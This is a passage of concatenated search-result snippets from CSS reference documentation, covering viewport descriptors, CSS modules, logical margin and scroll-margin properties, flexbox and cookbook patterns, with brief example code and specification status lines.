...idth of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max width in pixels @viewport { max-width: 600px; } specifications specification status comment css device adaptationthe definition of '"max-width" descriptor' in that specification.
max-zoom - CSS: Cascading Style Sheets
the browser will not zoom in any further than this, whether automatically or at the user's request.
... formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting max-zoom @viewport { max-zoom: 1.5; } specifications specification status comment css device adaptationthe definition of '"max-zoom" descriptor' in that specification.
min-zoom - CSS: Cascading Style Sheets
the browser will not zoom out any further than this, whether automatically or at the user's request.
... formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting min zoom factor @viewport { min-zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"min-zoom" descriptor' in that specification.
CSSOM View - CSS: Cascading Style Sheets
reference properties scroll-behavior guides coordinate systems a guide to the coordinate systems used to specify the position of a location in a display context, whether that context is a window on a monitor, a viewport on a mobile device, or a position on a sheet of paper when printing.
... specifications specification status comment css object model (cssom) view module working draft initial definition.
CSS Animations - CSS: Cascading Style Sheets
the behavior of these keyframe animations can be controlled by specifying their timing function, duration, their number of repetitions, and other attributes.
... specifications specification status comment css animations working draft initial definition.
CSS Basic User Interface - CSS: Cascading Style Sheets
reference properties appearance box-sizing cursor ime-mode nav-down nav-left nav-right nav-up outline outline-width outline-style outline-color outline-offset resize text-overflow user-select guides using url values for the cursor property explains how a url can be used with the cursor property to produce custom cursors.
... specifications specification status comment css basic user interface module level 4 working draft css basic user interface module level 3 recommendation css level 2 (revision 1) recommendation initial definition.
CSS Color - CSS: Cascading Style Sheets
WebCSSCSS Color
css color is a css module that deals with colors, color types, color blending, opacity, and how you can apply these colors and effects to html content.
... specifications specification status comment css color module level 4 working draft css color module level 3 recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS Conditional Rules - CSS: Cascading Style Sheets
css conditional rules is a css module that allows to define a set of rules that will only apply based on the capabilities of the processor or the document the style sheet is being applied to.
... reference at-rules @document @media @supports @import specifications specification status comment css conditional rules module level 3 candidate recommendation initial definition ...
CSS Fragmentation - CSS: Cascading Style Sheets
each piece of the rendering for the element is called a fragment.
... reference box-decoration-break break-after break-before break-inside orphans widows specifications specification status comment css fragmentation module level 3 candidate recommendation initial definition.
CSS Generated Content - CSS: Cascading Style Sheets
generated content can be used to add content to anonymous replaced elements or replace the content of a dom node in very limited circumstances with a generated value.
... reference properties content quotes specifications specification status comment css generated content module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
implementation suppose an image is given to every item with class toolbtn: .toolbtn { background: url(myfile.png); display: inline-block; height: 20px; width: 20px; } a background position can be added either as two x, y values after the url()() in the background, or as background-position.
... similarly, you can also make hover states with: #btn:hover { background-position: <pixels shifted right>px <pixels shifted down>px; } ...
CSS Lists - CSS: Cascading Style Sheets
css lists is a module of css that defines how lists can be laid out and styled.
... specifications specification status comment css lists module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
Stacking context example 1 - CSS: Cascading Style Sheets
in this last example you can see that div #2 and div #4 are not siblings, because they belong to different parents in the html elements' hierarchy.
... even so, stacking of div #4 with respect of div #2 can be controlled through z-index.
Stacking context example 2 - CSS: Cascading Style Sheets
you can see that div #2 (z-index: 2) is above div #3 (z-index: 1), because they both belong to the same stacking context (the root one), so z-index values rule how elements are stacked.
... what can be considered strange is that div #2 (z-index: 2) is above div #4 (z-index: 10), despite their z-index values.
CSS Ruby Layout - CSS: Cascading Style Sheets
WebCSSCSS Ruby
they are typically used in east asian documents to indicate pronunciation or to provide a short annotation.
... reference properties ruby-align ruby-position specifications specification status comment css ruby layout module level 1 working draft initial definition ...
CSS Scroll Snap - CSS: Cascading Style Sheets
note: the previous version of this module was called scroll snap points and has been deprecated.
...block-end css properties on children scroll-snap-align scroll-margin scroll-margin-top scroll-margin-right scroll-margin-bottom scroll-margin-left scroll-margin-inline scroll-margin-inline-start scroll-margin-inline-end scroll-margin-block scroll-margin-block-start scroll-margin-block-end guides basic concepts of css scroll snap browser compatibility and scroll snap specification specification status comment css scroll snap module level 1 candidate recommendation initial definition ...
CSS Scrollbars - CSS: Cascading Style Sheets
.scroller { width: 300px; height: 100px; overflow-y: scroll; scrollbar-color: rebeccapurple green; scrollbar-width: thin; } html <div class="scroller"> veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic.
...</div> result reference css properties scrollbar-width scrollbar-color specifications specification status comment css scrollbars level 1 working draft initial definition.
CSS selectors - CSS: Cascading Style Sheets
specifications specification status comment selectors level 4 working draft added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and ui pseudo-classes, modifier for ascii case-sensitive and case-insensitive attribute value selection.
... see the pseudo-class and pseudo-element specification tables for details on those.
CSS Text - CSS: Cascading Style Sheets
WebCSSCSS Text
css text is a module of css that defines how to perform text manipulation, like line breaking, justification and alignment, white space handling, and text transformation.
... reference properties hanging-punctuation hyphens letter-spacing line-break overflow-wrap tab-size text-align text-align-last text-indent text-justify text-size-adjust text-transform white-space word-break word-spacing specifications specification status comment css logical properties and values level 1 editor's draft updates some properties to be independent of the directionality of the text.
CSS Text Decoration - CSS: Cascading Style Sheets
be careful when removing the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications...
... specification status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS Transitions - CSS: Cascading Style Sheets
the behavior of these transitions can be controlled by specifying their timing function, duration, and other attributes.
... specifications specification status comment css transitions working draft initial definition.
CSS Writing Modes - CSS: Cascading Style Sheets
used by hebrew or arabic scripts), bidirectional (used when mixing left-to-right and right-to-left scripts) and vertical (e.g.
... reference properties direction glyph-orientation-horizontal text-combine-upright text-orientation unicode-bidi writing-mode specifications specification status comment css writing modes module level 3 proposed recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Questions about CSS - CSS: Cascading Style Sheets
WebCSSFAQ
cascading style sheets (css) is a rule-based language allowing developers to define styles to apply to html elements (or other markup structures).
... an imported style sheet, using the css @import notation to automatically import and merge an external style sheet with the current style sheet style attributes specified by the viewer to the browser the default style sheet assumed by the browser in general, the web page creator's style sheet takes precedence, but it's recommended that browsers provide ways for the viewer to override the style attributes in some respects.
General sibling combinator - CSS: Cascading Style Sheets
t are siblings of and subsequent to any image */ img ~ p { color: red; } syntax former_element ~ target_element { style properties } examples css p ~ span { color: red; } html <span>this is not red.</span> <p>here is a paragraph.</p> <code>here is some code.</code> <span>and here is a red span!</span> <code>more code...</code> <span>and this is a red span!</span> result specifications specification status comment selectors level 4the definition of 'subsequent-sibling combinator' in that specification.
... selectors level 3the definition of 'general sibling combinator' in that specification.
Center an element - CSS: Cascading Style Sheets
centering both horizontally and vertically was difficult before flexbox, with the box alignment properties it is now straightforward.
... requirements to place an item into the center of another box horizontally and vertically.
Cookbook template - CSS: Cascading Style Sheets
the last parameter is the live example height, which you can change as needed.
...if not relevant for your pattern this can be omitted.
List group with badges - CSS: Cascading Style Sheets
in this recipe we will create a list group pattern with badges that indicate a count.
...the badge should always be centered vertically whether there is a single line of content, or more than one.
Split Navigation - CSS: Cascading Style Sheets
we can use flexbox to achieve this, without needing to make the two sets of items into two separate flex containers.
... in this case the left auto margin takes up any available space and pushes the item over to the right.
Sticky footers - CSS: Cascading Style Sheets
a sticky footer pattern is one where the footer of your page "sticks" to the bottom of the viewport in cases where the content is shorter than the viewport height.
... alternate method if you need compatibility with browsers that do not support grid layout you can also use flexbox to create a sticky footer.
Microsoft CSS extensions - CSS: Cascading Style Sheets
microsoft applications such as edge and internet explorer support a number of special microsoft extensions to css.
... microsoft-only properties (avoid using on websites) note: these properties will only work in microsoft applications, and are not on a standards track.
Tools - CSS: Cascading Style Sheets
WebCSSTools
css offers a number of powerful features that can be tricky to use, or have a number of parameters, so that it's helpful to be able to visualize them while you work on them.
...this is not really yet a useful tool, but will be!linear-gradient generatorthis tool can be used to create custom css3 linear-gradient() backgrounds.
backface-visibility - CSS: Cascading Style Sheets
though invisible in 2d, the back face can become visible when a transformation causes the element to be rotated in 3d space.
...tey(-90deg) translatez(50px); } .top { background: rgba(196, 196, 0, 0.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; margin: 0px; padding: 6px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'backface-visibility' in that specification.
background-origin - CSS: Cascading Style Sheets
background-origin: content-box; } #example2 { border: 4px solid black; padding: 10px; background: url('image.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image: url('logo.jpg'), url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; background-origin: content-box, padding-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'background-origin' in that specification.
... candidate recommendation initial definition.
border-inline-end-style - CSS: Cascading Style Sheets
the border-inline-end-style css property defines the style of the logical inline end border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that specification.
border-inline-start-color - CSS: Cascading Style Sheets
the border-inline-start-color css property defines the color of the logical inline start border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specification.
border-inline-start-style - CSS: Cascading Style Sheets
the border-inline-start-style css property defines the style of the logical inline start border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specification.
box-flex - CSS: Cascading Style Sheets
WebCSSbox-flex
notes the containing box allocates the available extra space in proportion to the flex value of each of the content elements.
... /* webkit */ border: 1px solid black; } div.example > p:nth-child(2) { -moz-box-flex: 0; /* mozilla */ -webkit-box-flex: 0; /* webkit */ border: 1px solid black; } </style> </head> <body> <div class="example"> <p>i will expand to fill extra space</p> <p>i will not expand</p> </div> </body> </html> specifications not part of any standard.
box-ordinal-group - CSS: Cascading Style Sheets
when the computed box-direction is normal, a box will display its elements starting from the lowest numbered ordinal group and ensure that those elements appear to the left (for horizontal boxes) or at the top (for vertical boxes) of the container.
... specifications not part of any standard.
column-rule-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies tomulticol elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: solid; column-rule-color: blue; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-color' in that specification.
columns - CSS: Cascading Style Sheets
WebCSScolumns
if neither this value nor the column's width are auto, it merely indicates the maximum allowable number of columns.
...</p> css .content-box { columns: 3 auto; } result specifications specification status comment css multi-column layout modulethe definition of 'columns' in that specification.
direction - CSS: Cascading Style Sheets
WebCSSdirection
formal definition initial valueltrapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax ltr | rtl examples setting right-to-left direction blockquote { direction: rtl; } specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification.
... css level 2 (revision 1)the definition of 'direction' in that specification.
<display-legacy> - CSS: Cascading Style Sheets
.container { display: inline flex; } specifications specification status css display module level 3the definition of 'display-legacy' in that specification.
... candidate recommendation ...
drop-shadow() - CSS: Cascading Style Sheets
offset-y specifies the vertical distance, where negative values place the shadow above the element.
... examples setting a drop shadow using pixel offsets and blur radius /* black shadow with 10px blur */ drop-shadow(16px 16px 10px black) setting a drop shadow using rem offsets and blur radius /* reddish shadow with 1rem blur */ drop-shadow(.5rem .5rem 1rem #e23) specifications specification status filter effects module level 1the definition of 'drop-shadow()' in that specification.
flex-flow - CSS: Cascading Style Sheets
WebCSSflex-flow
flex items are laid out in multiple lines */ flex-flow: column-reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification.
... candidate recommendation initial definition ...
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
/div> <div class="box1" style="background-color:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-around; flex-flow: row wrap; align-items: stretch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
... candidate recommendation initial definition ...
flex-shrink - CSS: Cascading Style Sheets
v> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-basis: 120px; border: 3px solid rgba(0,0,0,.2); } .box { flex-shrink: 1; } .box1 { flex-shrink: 2; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-shrink' in that specification.
... candidate recommendation initial definition ...
<flex> - CSS: Cascading Style Sheets
examples 1fr /* using an integer value */ 2.5fr /* using a float value */ specifications specification status comment css grid layoutthe definition of '<flex>' in that specification.
... candidate recommendation initial definition.
font-kerning - CSS: Cascading Style Sheets
} javascript let input = document.getelementbyid('input'); let kern = document.getelementbyid('kern'); let nokern = document.getelementbyid('nokern'); input.addeventlistener('keyup', function() { kern.textcontent = input.value; /* update content */ nokern.textcontent = input.value; }); kern.textcontent = input.value; /* initialize content */ nokern.textcontent = input.value; specifications specification status comment css fonts module level 3the definition of 'font-kerning' in that specification.
... candidate recommendation initial definition.
font-variant-east-asian - CSS: Cascading Style Sheets
</tr> <tr> <th>normal/traditional:</th> <td>大学</td> <td class="traditional">大学</td> </tr> </tbody> </table> css td{ font-family:"yu gothic"; font-size:20px; } th{ color:grey; padding-right:10px; } .ruby { font-variant-east-asian: ruby; } .jis78 { font-variant-east-asian: jis78; } .traditional{ font-variant-east-asian: traditional; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-east-asian' in that specification.
... candidate recommendation initial definition ...
hanging-punctuation - CSS: Cascading Style Sheets
allow-end a stop or comma at the end of a line hangs if it does not otherwise fit prior to justification.
...praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”</p> css p { hanging-punctuation: first last; margin: .5rem; } result specifications specification status comment css text module level 3the definition of 'hanging-punctuation' in that specification.
initial-letter-align - CSS: Cascading Style Sheets
alphabetic as described above, the cap height of the initial letter aligns with the cap height of the first line of text.
...graphic</p> css .auto { -webkit-initial-letter-align: auto; initial-letter-align: auto; } .alphabetic { -webkit-initial-letter-align: alphabetic; initial-letter-align: alphabetic; } .hanging { -webkit-initial-letter-align: hanging; initial-letter-align: hanging; } .ideographic { -webkit-initial-letter-align: ideographic; initial-letter-align: ideographic; } result specifications specification status comment css inline layoutthe definition of 'initial-letter-align' in that specification.
initial-letter - CSS: Cascading Style Sheets
if omitted, it duplicates the size value, floored to the nearest positive whole number.
...size html <p class="normal">initial letter is normal</p> <p class="onefive">initial letter occupies 1.5 lines</p> <p class="three">initial letter occupies 3 lines</p> css .normal { -webkit-initial-letter: normal; initial-letter: normal; } .onefive { -webkit-initial-letter: 1.5; initial-letter: 1.5; } .three { -webkit-initial-letter: 3.0; initial-letter: 3.0; } result specifications specification status comment css inline layoutthe definition of 'initial-letter' in that specification.
isolation - CSS: Cascading Style Sheets
WebCSSisolation
a"> <div id="d"> <div class="a c">auto</div> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a { background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compositing and blending level 1the definition of 'isolation' in that specification.
... candidate recommendation initial definition ...
line-break - CSS: Cascading Style Sheets
typically used for short lines, such as in newspapers.
...rapbox strict">strict:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p> <p class="wrapbox anywhere">anywhere:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p> </div> css .wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; } .auto { line-break: auto; } .loose { line-break: loose; } .normal { line-break: normal; } .strict { line-break: strict; } .anywhere { line-break: anywhere; } result specifications specification status comment css text module level 3the definition of 'line-break' in that specification.
line-height-step - CSS: Cascading Style Sheets
values <length> the specified <length> is used in the calculation of the line box height step.
... :root { font-size: 12pt; --my-grid: 18pt; line-height-step: var(--my-grid); } h1 { font-size: 20pt; margin-top: calc(2 * var(--my-grid)); } the result of these rules is shown below in the following screenshot: specifications specification status comment css rhythmic sizingthe definition of 'line-height-step' in that specification.
margin-block-end - CSS: Cascading Style Sheets
the margin-block-end css property defines the logical block end margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
...d valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
margin-block-start - CSS: Cascading Style Sheets
the margin-block-start css property defines the logical block start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
...valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specification.
margin-block - CSS: Cascading Style Sheets
the margin-block css shorthand property defines the logical block start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and text orientation.
...ied as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
margin-inline-end - CSS: Cascading Style Sheets
the margin-inline-end css property defines the logical inline end margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
... valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-end' in that specification.
margin-inline-start - CSS: Cascading Style Sheets
the margin-inline-start css property defines the logical inline start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
...alueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specification.
margin-inline - CSS: Cascading Style Sheets
the margin-inline css shorthand property is a shorthand property that defines both the logical inline start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and text orientation.
...ed as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
mask-border-mode - CSS: Cascading Style Sheets
when browsers support it, it will specify the type of blending mode used for the mask border — luminance or alpha: mask-border-mode: luminance; mask-border-mode: alpha; specifications specification status comment css masking module level 1the definition of 'mask-border-mode' in that specification.
... candidate recommendation initial definition ...
mix-blend-mode - CSS: Cascading Style Sheets
using mix-blend-mode with svg svg <svg> <g class="isolate"> <circle cx="40" cy="40" r="40" fill="red"/> <circle cx="80" cy="40" r="40" fill="lightgreen"/> <circle cx="60" cy="80" r="40" fill="blue"/> </g> </svg> css circle { mix-blend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
offset-distance - CSS: Cascading Style Sheets
formal definition initial value0applies totransformable elementsinheritednopercentagesrefer to the total path lengthcomputed valuefor <length> the absolute value, otherwise a percentageanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples using offset-distance in an animation the motion aspect in css motion path typically comes from animating the offset-distance property.
... html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
offset-rotate - CSS: Cascading Style Sheets
note: early versions of the spec called this property motion-rotation.
...-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-rotate' in that specification.
overflow-anchor - CSS: Cascading Style Sheets
therefore, changing the value of this property is typically only required if you are experiencing problems with scroll anchoring in a document or part of a document and need to turn the behavior off.
... body { overflow-anchor: none; } specifications specification status comment css scroll anchoring module level 1the definition of 'overflow-anchor' in that specification.
overflow-x - CSS: Cascading Style Sheets
if you wish to start a new formatting context, you can use display: flow-root to do so.
...— on most browsers, equivalent to <code>scroll</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-x: hidden;} #div2 { overflow-x: scroll;} #div3 { overflow-x: visible;} #div4 { overflow-x: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-x' in that specification.
page-break-inside - CSS: Cascading Style Sheets
it has a little bit more text than the third one.</p> </div> css .page { background-color: #8cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p { background-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block; background-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media module level 3the definition of 'page-break-inside' in that specification.
... css level 2 (revision 1)the definition of 'page-break-inside' in that specification.
place-items - CSS: Cascading Style Sheets
/* baseline alignment */ place-items: baseline normal; place-items: first baseline auto; place-items: last baseline normal; place-items: stretch auto; /* global values */ place-items: inherit; place-items: initial; place-items: unset; values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal.
...alues'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */ background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } result specifications specification status comment css box alignment module level 3the definition of 'place-items' in that specification.
quotes - CSS: Cascading Style Sheets
WebCSSquotes
html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification.
... working draft css level 2 (revision 1)the definition of 'quotes' in that specification.
<ratio> - CSS: Cascading Style Sheets
WebCSSratio
specifications specification status comment media queries level 4the definition of '<ratio>' in that specification.
... candidate recommendation media queriesthe definition of '<ratio>' in that specification.
Resolved value - CSS: Cascading Style Sheets
see the specification link below for more per-property details.
... specifications specification status comment css object model (cssom)the definition of 'resolved value' in that specification.
rotate - CSS: Cascading Style Sheets
WebCSSrotate
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform property.
... class="rotate">rotation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
WebCSSrow-gap
formal definition initial valuenormalapplies tomulti-column elements, flex containers, grid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; row-gap: 20px; } #flexbox > div { border: 1px solid green; background-color: l...
...1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-row-gap: 20px; } #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(3, 1fr); row-gap: 20px; } #grid > div { border: 1px solid green; background-color: lime; } result specifications specification status comment css box alignment module level 3the definition of 'row-gap' in that specification.
scroll-behavior - CSS: Cascading Style Sheets
oll-container { display: block; margin: 0 auto; text-align: center; } nav { width: 339px; padding: 5px; border: 1px solid black; } scroll-container { display: block; width: 350px; height: 200px; overflow-y: scroll; scroll-behavior: smooth; } scroll-page { display: flex; align-items: center; justify-content: center; height: 100%; font-size: 5em; } result specifications specification status comment css object model (cssom) view modulethe definition of 'scroll-behavior' in that specification.
... working draft initial specification ...
scroll-margin-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-end' in that specification.
... candidate recommendation initial definition ...
scroll-margin-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-start' in that specification.
... candidate recommendation initial definition ...
scroll-margin-block - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block' in that specification.
... candidate recommendation initial definition ...
scroll-margin-bottom - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-bottom' in that specification.
... candidate recommendation initial definition ...
scroll-margin-left - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-left' in that specification.
... candidate recommendation initial definition ...
scroll-margin-right - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-right' in that specification.
... candidate recommendation initial definition ...
scroll-margin-top - CSS: Cascading Style Sheets
